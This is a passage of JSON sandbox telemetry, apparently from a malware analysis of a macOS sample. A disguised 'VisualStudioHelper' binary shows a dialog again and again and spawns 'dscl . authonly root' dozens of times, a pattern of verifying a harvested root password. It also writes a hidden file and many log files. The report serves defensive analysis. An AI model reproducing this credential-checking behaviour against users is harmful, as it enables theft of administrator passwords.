root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"372626176-1176"},{"pid":1428,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"375033344-1428"},{"pid":1106,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"385203712-1106"},{"pid":1308,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"421129728-1308"},{"pid":1351,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"426903296-1351"},{"pid":1383,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"429157632-1383"},{"pid":1318,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"438686976-1318"},{"pid":1219,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"442428160-1219"},{"pid":1232,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"452007936-1232"},{"pid":1139,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"455857152-1139"},{"pid":1152,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"466935040-1152"},{"pid":1339,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"515040000-1339"},{"pid":1373,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"516293376-1373"},{"pid":1208,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"539976704-1208"},{"pid":1414,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"548210944-1414"},{"pid":1195,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"549691648-1195"},{"pid":1263,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"549715712-1263"},{"pid":1089,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"560883968-1089"},{"pid":1294,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"576763904-1294"},{"pid":1079,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"584991744-1079"},{"pid":1253,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"593227520-1253"},{"pid":1404,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"602495488-1404"},{"pid":1284,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"624308224-1284"},{"pid":1435,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"630103296-1435"},{"pid":1128,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"641624832-1128"},{"pid":1184,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"645982208-1184"},{"pid":1170,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"654744064-1170"},{"pid":1115,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"672624384-1115"},{"pid":1328,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"680435456-1328"},{"pid":1390,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"718182144-1390"},{"pid":1315,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"727023872-1315"},{"pid":1358,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"733849344-1358"},{"pid":1146,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"740177920-1146"},{"pid":1229,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"747358976-1229"},{"pid":1159,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"751096320-1159"},{"pid":1380,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"753340160-1380"},{"pid":1239,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"763146496-1239"},{"pid":1348,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"776779008-1348"},{"pid":1270,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"825290240-1270"},{"pid":1099,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"827408896-1099"},{"pid":1260,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"840800512-1260"},{"pid":1411,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"843149568-1411"},{"pid":1304,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"843408896-1304"},{"pid":1424,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"844727296-1424"},{"pid":1086,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"847470336-1086"},{"pid":1215,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"849101312-1215"},{"pid":1205,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"849316352-1205"},{"pid":1135,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"873974784-1135"},{"pid":1041,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"895599872-1041"},{"pid":1291,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"897928192-1291"},{"pid":1065,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"917904640-1065"},{"pid":1366,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"925734144-1366"},{"pid":1335,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"926568448-1335"},{"pid":1122,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"949451776-1122"},{"pid":1191,"ppid":1030,"name":"dscl","command_line":"dscl . authonly root","sha256":"5b0a0273b3a5f1a52ac08ec5bd7303e7b7b63dde40a2eaca77158f3d37d76470","normalized_path":"/usr/bin/dscl","parent_uid":"510347520-1030","uid":"951295488-1191"},{"pid":1181,"ppid":1030,"name":"VisualStudioHelper","command_line":"/Users/hapubws/VisualStudioHelper --dialog","sha256":"7ec7f459e790398030bae262b368ee01121ead26709aa309766a5c5359e6f8bc","normalized_path":"/Users/hapubws/VisualStudioHelper","parent_uid":"510347520-1030","uid":"953643776-1181"}],"all_imported_dlls":null},"file_activity":{"dropped_files":[],"extracted_files":[],"files_written":[{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1030.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/Users/hapubws/.docks","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1400.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1075.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1325.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1355.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1166.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1280.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1249.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1387.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1431.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1236.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1156.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1111.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1036.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/C/com.apple.metalfe","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1225.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1311.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1301.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1267.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1419.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1212.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1376.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1142.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1093.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1342.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1047.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1132.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1407.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1201.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1188.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1082.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1332.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1256.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1363.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1069.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1287.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1397.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1243.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1163.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1118.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1277.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1176.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1428.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1106.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1308.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1351.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1383.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1318.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1219.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1232.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1139.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1152.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1339.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1373.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1208.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1414.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1195.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1263.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1089.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1294.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1079.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1253.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1404.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1284.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1128.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1184.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1170.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1115.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1328.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1390.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1315.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1358.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1146.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1229.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1159.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1380.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1239.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1348.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1270.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1099.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1260.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1411.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1304.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1424.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1086.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1215.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1205.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1135.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_dscl_1041.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0b1a13"}]},{"path":"/private/tmp/sysctl_spoof_VisualStudioHelper_1291.log","sources":[{"report_type":"sandbox","report_id":"6ab60b88ba2f940eed0